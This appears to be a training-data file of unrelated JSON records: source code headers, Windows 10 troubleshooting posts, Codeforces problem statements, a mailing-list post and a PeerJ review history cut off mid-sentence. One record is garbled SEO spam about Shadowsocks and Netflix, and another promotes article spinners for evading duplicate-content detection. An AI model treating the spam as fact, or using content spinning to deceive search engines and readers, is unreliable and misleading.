= &DirectMusicBand_PersistStream_Vtbl;\n\tobj->pDesc = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(DMUS_OBJECTDESC));\n\tDM_STRUCT_INIT(obj->pDesc);\n\tobj->pDesc->dwValidData |= DMUS_OBJ_CLASS;\n\tmemcpy (&obj->pDesc->guidClass, &CLSID_DirectMusicBand, sizeof (CLSID));\n\tobj->ref = 0; /* will be inited by QueryInterface */\n\tlist_init (&obj->Instruments);\n\t\n\treturn IDirectMusicBandImpl_IUnknown_QueryInterface ((LPUNKNOWN)&obj->UnknownVtbl, lpcGUID, ppobj);\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "It seems like you could access Indonesian 21 Feb 2017 Netflix is pleased to announce the open source release of Stethoscope, our first project following a User Focused Security approach. 6 Sep 2020 This tutorial shows you how to set up Shadowsocks on Ubuntu. Shadowsocks is a fast Socks5 proxy to bypass Internet censorship. SOCKS5 Proxies. How to bypass restrictions, Configure Torrent via SOCKS5, Anonymous Proxies, Paid SOCKS5 Proxies, access Netflix via SOCKS5 and more. Shadowsocks, como proyecto proxy de código abierto y basado en trate de acceder a plataformas geográficamente retringidas como Netflix, Muchos confunden Shadowsocks y los servicios de VPN, pero aunque de los gobiernos del mundo, y son ideales para servicios de streaming como Netflix.\nif you want to access - Traducción al español - ejemplos .\nso you won't experience any buffering issues whilst you're watching your favourite TV show on Netflix.\nError Leer Econnreset Shadowsocks Mac - liuteocepna.gq\nLast active Mar 17, 2019. Star 0 Shadowsocks local initiates a TCP connection to Shadowsocks remote by sending an encrypted data stream. The exact encryption scheme depends on the cipher used. Subsequently, the Shadowsocks remote receives, decrypts, and parses the encrypted data stream. 【Siemens Tutorials】本视频介绍如何搭建DNS解锁突破NetFlix播放限制。本期视频项目地址：https://github.com/ab77/netflix-proxy原生IP查询 Shadowsocks: A secure SOCKS5 proxy 2 Stream Cipher 1.2 TCP ss-local initiates a TCP connection to ss-remote by sending an encrypted data stream starting with the target address followed by payload data.\n¿Cuál es la mejor VPN para China? 5 que todavía funcionan .\nIt will help you surf the internet privately and securely. FEATURES 1. Bleeding edge techniques with Unblocking Netflix at school or work is extremely easy, all you need is a cheap online Another option is to try using a Netflix VPN that provides Shadowsocks, as this is known Shadowsocks vs VPN: some functions of VPN services and Shadowsocks are the same, but What to watch on Netflix Of all the premieres that have taken place this week, we Shadowsocks is a free and open-source encryption protocol project, widely used in China to circumvent Internet censorship. It was created in 2012 by a Chinese programmer named \"clowwindy\", and multiple implementations of the protocol have been made available since. Shadowsocks is not a proxy on its own, but (typically) is the client software to help connect to a third party SOCKS5 proxy, which is similar to a Secure Shell (SSH) tunnel. Once connected, internet traffic can then be directed through the Projects of Shadowsocks are distributed under different licenses, including APL 2.0, GPLv3 and LGPLv3.\nRandom dice best co op deck - Gaia Lattuada\nPost yours and see other's reports and complaints.\nbNet Service VPS, Hosting Web, Túnel SSH / DROPBEAR .\nhide. report. 100% Upvoted. This thread is archived. New comments cannot be posted and votes cannot be cast.\nIcono Shadowsocks, dlls de qt5 Gratis de Papirus Apps\nWe may add additional Recommendation: Xray, with the new VLESS+XTLS protocol, is the recommended choice for Netflix, web-browsing, and streaming. If you don't have access to the new protocol (mainly on Mac OS), the old V2ray is good for Netflix, Shadowsocks for web-browsing and streaming, Eclipse for security and Video conferencing, and SmartDNS for Netflix unblocking on TVs and consoles. 22/07/2020 使用Shadowsocks打开Netflix的正确姿势 — WannaFlix （附优惠码） 7月 30, 2020 9月 11, 2019 由 Edward.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 862, "token_count_with_eod": 863, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Little Big Snake io is a game developed by one of the most famous online game makers IO Games. They are famous for their games such as Ghosts.io, Moomoo.io and etc. This time IO games have brought up a new game called “Little big snake”. If you have been playing snake games on your elder’s phone in your childhood, I assure you, you will love this new version of the game.\nThe game starts off in a brown muddy terrain with a snake. You name your snake whatever you want to. That name will appear to other users as well. The snake is green colored with red tongue initially. It grows by eating shinny circles in the setting. As this is an online game, other people from all parts of the world are also playing it. You have to stay away from big snakes as they will eat you. You also have to save yourself from crashing into mountains.\nThe snake can accelerate its speed and reach the circles before anyone else gets them. It evolves by experience and food. Special powers can be bought up by using coins in evolution tab. The achievement tab will show you all the things you have achieved in the game. There are quests available by completing them you will unlock new snakes and gain XP to level up. There is also an option to play with friends as a team once you register yourself to the game. The game stop can also be accessed for special offers and abilities after the registration.\nThe game is simple and easy to play. Use the mouse of your laptop or PC to move the snake. The snake will move in the direction of your mouse. To accelerate the snake click left twice.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 334, "token_count_with_eod": 335, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In recent weeks, it has become impossible for me to safely remove my external drives. (Mostly, I use Western Digital Passports, Passport Ultras, etc).\nI am using Windows 10.\nI close all of my programs and folders. I get the \"busy\" message and to try again later. I run Unlocker on the drives, and Unlocker shows no activity or actions that I can take. I bring up my task manager and nothing is running. I try to safely eject from the WD utility and it doesn't work. I try to eject by going to my computer, right clicking on the drive, and ejecting from there. Sometimes I simply wait for half an hour, read some articles, try again. I get the same \"busy\" or can't shut down message.\nI read online that I could try to Device Manager, click on the drive, and under policies select \"Optimize for Performance.\" However, the computer must restart for changes to take place, and when i've tried, I get stuck on an infinite \"Restarting\" screen.\nI read somewhere that I can try to empty a hidden recycle bin on my external, but I can't seem to reveal it?\nI just upgraded to Windows 10 1511 (November Update), and saw the new (modernized) Safely Remove icon in the system tray - and the problem, it's not working properly.(I know, it's a Windows 7 Screenshot, I found it online, it's just for reference).As we can see from the comparison, mine only shows the second row, that being the device description (Name and drive letter), and no longer shows \"Eject Storage Device\".\nSo the safely remove icon in the system tray is now practically useless. I search over, and found no one with the same issue, nor did I find any direct fix. I shutdown and reboot a couple of times, tried different USB devices and ports, I also did try a couple of related tweaks, like changing the removal policy, and scan for hardware changes, etc - but still, no luck.Though note, the eject function is still available through file explorer:\nIn Windows 7 we had the option of selecting which icons were permanently or only displayed when they had a notification in the taskbar. I haven't been able to find where the option is to change the settings in Windows 10, is there one?\nI have set my external hard drives to performance mode, and recognize the warning that I won't be able to simply unplug them. Basically, I have to use the little green safely remove hardware icon. Nothing new. In Windows 10 however, when an external drive is attached, and I go to eject it using the safely remove hardware, they are always grayed out and I'm unable to do so. Is there another setting I need to do, or is Windows 10 saying that even with the performance boxes checked, I can still remove drives without \"safely removing them.\"\nI have created Eject \"N\", etc for each drive letter from G-Z and they all work. They will safely remove my external HDDs. I have also created a context menu entry for Safely Remove > and it has a string value for subcommands, none of which will show when hovered upon. I need to move all of my Eject entries under the Safely Remove in order to keep my context menu clutter free.how to do this?\nMy taskbar shows that I can \"Safely Remove Hardware and Eject Media\". I don't have anything plugged in. Selecting the message tells me that I can \"Eject Nvidia GTX 970\". Wouldn't that be odd? It's the friggin' video card! I'm partly ready to select that option, just to see what the computer would do. Oh, that's right: without a video card, I wouldn't be able to see what the computer is doing..Why does Windows 10 think that my PCIe card, the only one that's been in this machine, the one that's been there BEFORE W10 came along, why does W10 want to eject my card?\nAny way to hide it for good? Not disabling it, because that could cause some trouble, just that doesn't show in the tray? A .reg file would be awesome.\nI want this for 2 reasons: First, I don't use it, I use USB Disk Ejector; and second because it's wasting space. And don't worry, everything in there has a purpose, as myself installed everyone of them.\nWindows 10 OS using NVidia graphics and Realtek sound.This morning after a windows update ran , I have no sound. Troubleshooting shows that a solution maybe to reinstall 2 drivers from Realtek and NVidia. I tried the Auto fix solution but problem persists.On the Device Manager it is showing an orange warning triangle on both drivers, saying reinstall. Code 18. As I said the Auto update install does not rectify the problemCan I safely uninstall the drivers ? And then how do I reinstall them ?\nI'm having quite a bit of trouble removing the generic bluetooth drivers that Windows installs for you. Those have to be gone if I want to install Toshiba Bluetooth Stacks, which I need in order to use my Wii U Pro Controller in my computer. I've gone through a few methods to try this out and all have failed.\nI started out by simply uninstalling the drivers on the device manager (or whatever it is called in English). Didn't work, as the drivers were back when I had to plug in my dongle to complete the installation for TBS. When I tried this in Windows 7, it worked flawlessly, yet in Windows 10 this method did not work.\nAfterwards, I tried deactivating the forced driver signature, as well as make it so Windows Update doesn't automatically download any drivers it finds suitable. On top of this, I traveled into the INF folder of my Windows folder to do steps that Microsoft recommended: rename bth.inf to bth.inf.old and bth.pnf to bth.pnf.old. With all this, it should in theory work right? Nope, it didn't. Not even after a reset.\nMy last attempt involved unplugging my PC from the Internet as a first step, followed by everything else listed above and then a reset. The drivers were still back, bth.inf and bth.pnf somehow magically appearing in my Windows folder when I have no Internet access. I'm at a loss as to what I'm supposed to do.\nI have no printer notification when I'm printing. In the control panel -> devices and printer -> printerserver properties these are enabled. I have no hiden icons in the taskbar. I tried in the windows registry the setting from windows 7:\nHKEY_CURRENT_USERPrintersSettingsEnableBalloonNotificationsRemote and HKEY_CURRENT_USERPrintersSettingsEnableBalloonNotificationsLocal.\nBut this also don't work. I'm printing to and HP Deskjet 895 CXI on an WIndows Home Server 2011. On my Windows 7 Pro machine the notification is present.\nI plugged in my USB drive and I get notification USB device not recognized. In This PC it shows but it looks like this:When I right click to try and format it, nothing happens. I also tried renaming the drive letter, nothing. I tried many USB fix tools, such as, USB drive defender, Flobo, mUSB Fixer, USB Refresh, USBFix 2016, and most of them didn't even see the device in the list. It's SanDisk Cruzer 16GB.\nI just got a notification which said to finish installing device software. How can I find out what device software the notification was referring to? There aren't any yellow flags in Device Manager, and Windows Update and Windows Update MiniTool didn't find any updates.\nRecently i upgrade my laptop to windows 10, and also update my graphic drivers, but now the battery icon in notification area is not visible and i can't change the brightness of my screen too. it seems that the graphic driver installed correctly.\nI guess I am used to removing a drive when done on USB...and I used to do this with eSATA. However, while I can still do this on USB is there any way to remove my eSATA drive when I am done? Some have said you do not need to in Win 10 and we can just shut it down and others say to use software like Hotswap.\nHow do I remove the dialog box telling me to update drivers ? I have automated updates from HP so I do not require a new program that wants to install on my computer. I'm confused as to whether it's from MicroSoft or some scam.\nThere is no icon in the hidden icons area in Windows 10 that allows one to safely eject an SD drive. I have an SD drive inserted in my computer and have uploaded the files I want to upload and now I want to remove the SD card without corrupting or destroying the files on it. How does one do this safely?\nI'm using an Intel Compute Stick as a dedicated processor to remote-control some portable audio equipment. To assist portability, the power supplies for all the gear are to a single plug and it's all made to be turned off by simply \"pulling the plug\" (i.e. no shutdown process). The Compute Stick basically being a fully functional Windows 10 device, it is NOT made to be powered down by simply \"pulling the plug.\"\nIt's somewhat annoying to have to reach in the rack to power up/down the Stick before I can move it, doubly annoying to have to sit there and wait for it to shutdown, especially if it *decides* it feels like doing some other kind of business before it gets around to my shutdown request. The annoyance factor is increased as there's no attached screen or HIDs to give confirmation that the shutdown request is pending.\nSo, my question is this: Is there any way to configure the Stick PC in a way that ensures it avoids the adverse effects of being powered down without a shutdown sequence?\nI have tried for days to remove a Bluetooth Speaker that did not install proper, I remove it try to re-pair does not pair, then upon reboot it is installed again with error. No matter how many times its removed Windows keeps re installing the device on its own.\nHow do you completely remove a bluetooth device, all traces so you can start fresh?\nI have searched the internet for 2 days and no one has the answer yet. Not even on the MS forums\nI have a drive that I want to use as a backup drive for a Windows 10 machine. The problem is the old drive has a boot partition on it that is making Windows 10 go nuts every time I plug it in. If I wait until after the machine boots and then plug it in via USB adapter then I can get to the files but I want to install it inside the machine permanently.A photo of the Disk Manager is below. How do I (or should I) remove that EFI System Partition? The Disk Manager won't let me do it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2337, "token_count_with_eod": 2338, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Good afternoon fellow readers,\nI wrote this because I am just tired to keep explaining the kind of work laptop does to people around.\nWhy is it that people always think negatively about those using Laptop?\nI am a programmer that work remotely from home but whenever people come around the first thing they ask is “Am I also into yahoo?”.\nI will have to sit them down to start explaining what the programming job entails.\nHonestly, it is really frustrating!\n- Please why do people usually have this negative thought to those innocent programmers doing their legit job?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#pragma once\n#include \"NumberList.h\"\nclass NaturalNumbers :\n    public NumberList\n{\npublic : \n        unsigned numbers[100], count;\n\n        NaturalNumbers();\n        \n        void AddAt(unsigned int  val , unsigned int pos);\n        \n        void PushBack(unsigned int val);\n            \n        void PushFront(unsigned int val);\n        \n        unsigned int PopBack();\n        \n        void SortAsc();\n        void SortDesc();\n\n        void Print();\n\n\n         \n    \n};", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The Mjølner System: Metaprogramming System\nA metaprogram is a program that manipulate other programs.\nYggdrasil is a metaprogramming system, that supports creation of\nmetaprograms. Yggdrasil is grammar based: a metaprogramming\nenvironment may be generated from the grammar of any language\nThe metaprograms manipulate programs through a common represen\ntation called abstract syntax trees (ASTs)\nAn AST is modelled as an instance of a pattern. There is a pattern\ncorresponding to each syntactic category (non-terminal) of the\ngrammar. The grammar hierarchy is modelled by a corresponding\npattern hierarchy, derived automatically from the grammar.\nGrammar Based Interface\nThe grammar for a specific language result in a grammar based\ninterface-a metaprogramming environment with a set of patterns for\nthe language. A metaprogram using the grammar based interface will\nthus be language specific. Examples of tools that benefit from\nusing the grammar based interface are: semantic checkers, program\nanalyzers, interpreters, browsers, and graphical presentation\nThree Levels of Support\nThe AST may be manipulated at different levels of specialization:\n- Tree level: Here the AST is viewed as a tree. Examples of\ntools accessing the AST using the tree level are table-driven\nparsers and syntax-directed editors\n- Context-free level: This is the grammars based interface\ngenerated automatically from the grammar. Graphical\npresentation tools and browsers and examples of tools using\nthe context-free level.\n- Semantic level: At this level semantic attributes may be\nadded to the AST. The compiler is an example of a tool using\nthe semantic level to access the AST.\nUsers may develop their own metaprogramming tools.\nYggdrasil supports generation of metaprogramming environments from\na grammar. Users can then use this environment to develop their\nown metaprogramming tools-tools that manipulate other programs.\nThe Fragment System\nThe fragment system is a part of Yggdrasil, and enables the\nmanagement and manipulation of coherent ASTs located in different\nfiles. The functionality of the fragment system allows splitting\nof an AST into a number of sub-ASTs (sub-trees) by allowing some\ninferior nodes in the original AST to be replaced by special\nnodes. The AST, originally positioned at the position of that\nnode, is called a fragment and may be located in a totally\nFor further information, see\nMjølner System: Yggdrasil: The Meta Programming System.\nYggdrasil is the tree of the world. The ash tree of which the\ncrown covers the whole world. The tree gets power from the gods,\nfrom the evil giants and from the kingdom of the death. Everything\nin the world happens under the mighty crown of Yggdrasil.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Quality readable content is key here. Google, for example, will recognize that people are leaving your site soon after arriving if they perceive that your site or blog is full of junk content. This is called \"bounce rate.\" If your bounce rate is high, then people are quickly leaving your site. But for the sake of your business, to build your online reputation and brand, you want people to visit your site, stay for a while, and then keep revisiting over the long term.\nUsing Spinbot you can instantly spin (or rewrite) a chunk of textual content up to 10,000 characters in length (or about 1000 words), which is much longer than an average website or freely-distributed article. With a single click you can turn your old blog post or website article into a completely new one, thereby doubling the payoff you get in return for the time and energy you have already invested into creating quality website content. Spinbot is lightning fast as well as free, so there is potentially no limit to the amount of free web content that you can create using this tool.\nIf you have not used a spinner before then I would suggest that you first use something that require more human imput like The Best Spinner or Spinner Chief in order to understand the basic principles. However if you must go fully auto then I would suggest you go for Wicked Article Creator. I have it and understand it is similar to wordAI but a one off fee of $47.\nThe word is out ... there are potentially unlimited opportunities for making money online! But, at the same time, there is a lot of competition for these potentially lucrative opportunities. Not to worry, though. With the help of Article Rewriter Tool, the game has now changed -- in your favor. Before you might have been limited by your time or energy to market your website to major search engines, but now the results of your hard work can be multiplied by this free content rewriting service.\nBut it is the most important that the spun text, especially with version 2.0 usually passes CS test, and Google cannot even see it as spun content. Such as content can be used for links building as well as on money sites and qualitity is pretty good, as you saw in the example. It is much better than other article spinners with similar pricing as they do not get the right meaning of each and every word, so the rewrites sometimes looks funny/strange. It is of course much better than any free article spinner/rewriter I have tried.\nCross Platform – Being a Mac user I prefer when I can fire up a program locally. WordAi is web based and therefore works on Windows & Macs without issue (Linux as well). SpinnerChief III Ultimate has a Web Api that allows spinning from the web, but we did not have much luck with it, so at this time we consider SpinnerChief a Windows only application and therefore requires me to run it in a virtual Windows Machine using VMWare Fusion. This one is a hard one to call because clearly WordAi wins cross platform, but it doesn’t have all the extras that SpinnerChief offers.\nMost people don’t know that spinning content on their website truly optimizes their search among other users. However, it’s important to avoid using duplicate content because search engines will penalize you. This practice is best avoided at all times if you truly want your site to rank in search engines like Google. Spin Rewriter ensures that your spun articles pass Copyscape to give you peace of mind that your content is unique. Spin Rewriter 9.0 allows you to rewrite articles using SEO techniques so that you can rank for certain keywords. When you rank for more keywords you will be attracting more visitors to your site organically. With a steady traffic flow to your blogs, you’ll find making bank easier than ever. Whether you use AdWords, sell Amazon products, or run affiliate offers, a reliable online income is now within your grasp.\nThere is a completely new feature - Team Version, SpinnerChief 5 is the only article spinner that has a team version now, which is especially designed for team using, create/manage/use team thesaurus with team members together, and multi-users can use the license on different computer with themselves member accounts. Manager can manage team members easily.\nI've ranked websites in the past with spun content, and now they are still on #1 position of google. First year (2014) google found me because my spun was really bad, many paragraphs were just copied and my position drop from #2 to around #20 after a panda update. Later I cleaned all my text with better spun (I didn't buy any article!), my ranking went up again, and with more backlinks I reached #1 and it is still there", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Jay managed to create a problem of difficulty $$$x$$$ and decided to make it the second problem for Codeforces Round #921.\n\nBut Yash fears that this problem will make the contest highly unbalanced, and the coordinator will reject it. So, he decided to break it up into a problemset of $$$n$$$ sub-problems such that the difficulties of all the sub-problems are a positive integer and their sum is equal to $$$x$$$.\n\nThe coordinator, Aleksey, defines the balance of a problemset as the GCD of the difficulties of all sub-problems in the problemset.\n\nFind the maximum balance that Yash can achieve if he chooses the difficulties of the sub-problems optimally.", "source": "cpt_codeforces", "language": "en", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Ok this has been out for a while but I've not had chance to look into it. Earlier in the year I reviewed one of Slitherines' \"table top\" strategy game releases \"Conquest\" so when this came through a couple of days ago I checked out this, surprisingly good looking trailer:\nAccording to the youtube comments, if they can be trusted, it far less of an arcade strategy game than titles like Medieval II Total War. I've not played that either(!) so I have no idea if that's a good thing or not! Now I'm not as much as a table-top gamer as I was when I was in my teens but the trailer made me think that perhaps it was worth taking a look!\nThe screenshots make it look even better, I think I'll need to try the demo at least...\nHere's the link if you want to too!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n   +----------------------------------------------------------------------+\n   | Copyright (c) The PHP Group                                          |\n   +----------------------------------------------------------------------+\n   | This source file is subject to version 3.01 of the PHP license,      |\n   | that is bundled with this package in the file LICENSE, and is        |\n   | available through the world-wide-web at the following url:           |\n   | https://www.php.net/license/3_01.txt                                 |\n   | If you did not receive a copy of the PHP license and are unable to   |\n   | obtain it through the world-wide-web, please send a note to          |\n   | license@php.net so we can mail you a copy immediately.               |\n   +----------------------------------------------------------------------+\n   | Authors: Frank Denis <jedisct1@php.net>                              |\n   +----------------------------------------------------------------------+\n*/\n\n#ifndef PHP_LIBSODIUM_H\n#define PHP_LIBSODIUM_H\n\nextern zend_module_entry sodium_module_entry;\n#define phpext_sodium_ptr &sodium_module_entry\n\n#define PHP_SODIUM_VERSION PHP_VERSION\n\n#ifdef ZTS\n# include \"TSRM.h\"\n#endif\n\nPHP_MINIT_FUNCTION(sodium);\nPHP_MINIT_FUNCTION(sodium_password_hash);\nPHP_MSHUTDOWN_FUNCTION(sodium);\nPHP_RINIT_FUNCTION(sodium);\nPHP_RSHUTDOWN_FUNCTION(sodium);\nPHP_MINFO_FUNCTION(sodium);\n\n#endif\t/* PHP_LIBSODIUM_H */", "source": "cpt_stack_code", "language": "code", "token_count": 309, "token_count_with_eod": 310, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "something changed in this matter since 2009? http://stackoverflow.com/questions/1983106/hacking-attr-accessible-to-support-a-different-set-of-accessible-attributes-for\nso how would you limit which attributes may be assigned in update, and which cannot? By removing keys from hash (eg. params[:user])?\ndhoelzer: I had a question up there, which is \"best practice\" for attributes, which should be attr_accessible on create action, but not on update? Removing keys from params[:model] ?\nhi, is it possible and fine to set other validation context than :create or :update? I would like to have another validation context for updating by user with admin privileges : )", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 155, "token_count_with_eod": 156, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarpus has a computer with n processors. Also, his computer has n memory cells. We'll consider the processors numbered by integers from 1 to n and that the memory cells are consecutively numbered by integers from 1 to n.\n\nPolycarpus needs to come up with a parallel program model. For each memory cell number i this program must record the value n - i to this cell. In other words, for each cell you've got to find the distance to cell n.\n\nLet's denote the value that is written in the i-th cell as ai. Initially, ai = 1 (1 ≤ i < n) and an = 0. We will consider that only processor i can write values in the memory cell number i. All processors can read an information from some cell (several processors can read an information from some cell simultaneously).\n\nThe parallel program is executed in several steps. During each step we execute the parallel version of the increment operation. Executing the parallel version of the increment operation goes as follows:\n\n1. Each processor independently of the other ones chooses some memory cell. Let's say that processor i has chosen a cell with number ci (1 ≤ ci ≤ n).\n2. All processors simultaneously execute operation ai = ai + aci.\n\nHelp Polycarpus come up with the parallel program model that is executed in exactly k steps. Calculate the operations that need to be executed. Note that after k steps for all i's value ai must be equal n - i.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Caretaker Status: Rogue\nAffiliated companion(s): COM-175-729-1\nLevel 6 - abstract\n1940s: from Greek (drakōn) ouroboros ‘(snake) devouring its tail’.\nAn ancient Egyptian/Greek symbol of a snake or serpent eating its own tail, variously signifying infinity and the cycle of life.\nMagic Status: 1 - Neophyte\nTier 1 - Their tail is always long enough to touch the Paralogos' nose.\nWisdom Status: 0 - Unaware", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 124, "token_count_with_eod": 125, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This image is in the public domain because it is a screenshot from NASA’s globe software World Wind using a public domain layer, such as Blue Marble, MODIS, Landsat, SRTM, USGS or GLOBE.\nThis work was previously under Public Domain, or a Free License. It has been digitally enhanced and/or modified. This derivative work has been (or is hereby) released into the public domain by its author, Sting at the French Wikipedia project. This applies worldwide.\nIn some countries this is not legally possible; if so:\nSting grants anyone the right to use this work for any purpose, without any conditions, unless such conditions are required by law. – Source: https://commons.wikimedia.org/wiki/File:Mediterranean_Sea_political_map-en.svg – File edited and by Helmut Bolesch.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 173, "token_count_with_eod": 174, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "[UbuntuWomen] [Project Harvest]Planning for Development\nbelkinsa at ubuntu.com\nWed Feb 18 23:13:06 UTC 2015\nI e-mailed Daniel Holbach about giving ownership of the harvest-dev team\nto the Elected Leaders of Ubuntu Women, but no response yet. I'm doing\nthis in order to get control over the team so we can get the ones\ninserted in helping in and remove the inactive folks.\nBut in the meanwhile, I would like to talk about planning for\ndevelopment as a plan is needed for success. The main things that I\nwould like to talk about are creating roles, assigning the bugs, setting\ndeadlines for them, and creating an IRC channel.\nSince Harvest is a program, there are various items that are needed.\nDocumentation (user and developer), coding, leadership/management, and\nbug management are the four that I can think of. Having that said, I\nthink we need at least one in each but coding. For coding, I think we\nneed two or more people- which we have based on the people who reached\nme. As for leadership/management, I can take that role because I\nalready have it. I will also take a shot at documentation. That leaves\nbug management, but I think I can take that role in the beginning and\npass it on once we find someone that can do it.\nAm I missing other roles?\nTo make life easier, I suggest that we assign bugs since we already have\na framework of code to work on. Once the ownership is passed to the\nElected Leaders of Ubuntu Women, we can have a meeting where we do bug\nassignments. Or we can do it before. It's our choice.\n*Setting Deadlines for Bugs*\nI'm doing this to get things done as soon as possible. But I have no\nidea on how long a deadline should be. Suggestions please.\n*Creating an IRC Channel*\nJust food for thought. We can do it via #ubuntu-women as it's a quiet\nchannel or have one for Harvest.\nThis not set in stone yet and is open for discussion. I'm willing to\nhave a meeting with the folks that are interested before we start work.\nAlso, I will create blueprints for what we need.\nUser Wiki page: https://wiki.ubuntu.com/belkinsa\nMore information about the Ubuntu-Women", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 511, "token_count_with_eod": 512, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "If you need to determine which virtualization platform is a Windows 7 Virtual Machine (VM) is running on, while, you have no access to any other tools such as, the hypervisor or virtualization manager, you can easily find out by issuing a simple command from the Windows command-line interface.\nWindows Management Instrumentation (WMI) allows you to write scripts and expose information about a Windows 7 resource or service. As we have seen in the previous post – Windows Management Instrumentation (WMI), WMI allows you to access system management information from the command-line interface! WMI can become handy when you need to retrieve specific information which may be not available from the GUI. Mastering the WMI command line utility may turn you into command line freak never wanting to leave the command line.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Born in Maryland on July 1, 1999. I love to talk sports and write sports, especially NFL and I've always wanted to be a broadcaster. I decided to begin commenting on Bleacher Report articles about three years ago, and heavily this year. I recently went to Sports Broadcasting Camp to learn more about my field, and wound up learning so much m about my field and made some friends in the process. I recently started a blog for Wordpress.com and my site is http://thefactsbehindthenumbers.wordpress.com/. I'm also on twitter, and you can read more about me and my blog there.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "To increase transparency, PeerJ operates a system of 'optional signed reviews and history'. This takes two forms: (1) peer reviewers are encouraged, but not required, to provide their names (if they do so, then their profile page records the articles they have reviewed), and (2) authors are given the option of reproducing their entire peer review history alongside their published article (in which case the complete peer review process is provided, including revisions, rebuttal letters and editor decision letters).\nThank you for the valuable time and patience you put into making your manuscript pass the peer review process successfully. I am pleased to inform you that your manuscript is accepted into PeerJ with expectation as noted below.\nPlease respond to the reviewer's latest round of comments, which are few, prior to a final decision on this manuscript.\nThe authors have done a good job in addressing most of my previous issues. While I would still prefer a tighter focus, I do not think this is an issue that calls for a rejection. Since the target audience is now more clearly described, readers will be able to decide for themself.\nI have two specific remarks on additions to the manuscript that should be addressed in a revision.\n# Specific remarks:\nFirst, authors now note that \"significant effort\" is necessary before one can collect data. In order not to put manypotential user off, it would be important to provide some estimate on how long it takes to learn/teach these techniques. Even if there is no hard data on this some information based on your experiences would be good. For example a friend of mine regularly teaches workshops for online-questionnaire studies that take approx. 4h and include learning lime-survey and specifics of online questionnaire research.\nCould you provide a similar estimate for the time it takes to set up an Mturk account and how much time is beeing spend on such a study, e.g. how many percent of the participants try to get in contact?\nSecond, in table 3 that gives an overview of the software it is claimed that all allow for a measurement of reaction times. I think this is misleading because Limesurvey and Inquisit are clearly not on par on this issue. It may be much better to describe the precision at which reaction times can be measured (for limesurvey seconds; for Inquisit several milliseconds). This will help researchers decide on the adequate tool.\nPlease carefully consider reviewer comments and use discretion whether applicable to make revisions. I struggle with aspects of focus here which could be due to the number of authors each contributing her/his share with tighter control needed over content synthesis. I have a few observations to add to the reviewers.\nIt seems to be called a tutorial and then a lit review and then heavy enough emphasis on MTurk to indicate that should be in the title. It doesn't address enough historical aspects leading up to current trends.\nI created the first Web-based survey and study of Internet addiction back in 1995 for online participants who perceived themselves as addicted and I published it in 1996. While it is pretty much lost today, for what it is worth, perhaps anecdotally, you can still access it at http://w8r.com/iads/survey.html. Times and methods have certainly changed; the importance of your study is certainly timely and relevant.\nIn addition to reviewer suggestions, I would like to see either more comparison over time regarding the matter of online surveys for psychology experiments in lab v. online or clearer indication that your study seeks to look at a more definitive timeline, should I have missed it.\nWhile I would posit the overall decision between Minor-Major here, I wish to ensure all relevant reviewer comments are seriously taken into consideration in revision by all authors for the best synthesized paper to be published in PeerJ.\nAll the best.\nVery clearly reported with some exceptions as described in the general comments.\nThe research question is defined but should be more focused as described in the general comments.\nThe conclusions are balanced and the authors offer many useful suggestions and tipps for conducting online studies.\nIn the article “Conducting perception research over the internet: a tutorial review” authors give the authors provide a review of methodological sutides on online testing.\nWhile the question of is important I believe that the authors need to focus more strongly on the topic of perception research. In the current form the review reiterates many discussions without adding new aspects that are irrelevant to perception-studies.\n# Major issues\nIn my view the whole section on \"Benefits of conducting research online\" mixes very general issues and those specifically relevant to perception-research. I am not convinced that the same aspects are relevant to perception studies compared with questionnaire studies. Rather than repeating these well-known studies on benefits of online testing - particularly mTurk - this should be severely shortened (1 page) or removed altogether.\nOn the balance the parts that are most relevant for anyone planning a study - sections on timing-issues, hardware and selection on software could be expanded.\n# Specific remarks:\n# Benefits of conducting research online\n## Access to a more representative sample of participants\n- The authors make a claim that the online sample fit better, but offer only very vague data about the sample. It would make a much better point if they scrutinized a random selection of papers reporting on lab-based studies. Otherwise authors should remove claims about lab-based research.\n- Authors should try ot focus on aspects that are specific to perception studies.\n- It is unclear what the sample should be representative for. Only US-citizens?\n## Access to large pools of participants\n- \"highly praised on twitter, \" should be removed.\n- This paragraph actually describes how internet based recruitment may be more objective than lab-based forms.\n## Recruitment platforms\n- This section would also be much better if a stringent criteria were used to comapre the different services. Availibility from outside US, diversity of sample, sample-size, princing\n## Speed of data collection\n- A more balanced view would try to describe the time it takes to set up an account for the first time etc. and start 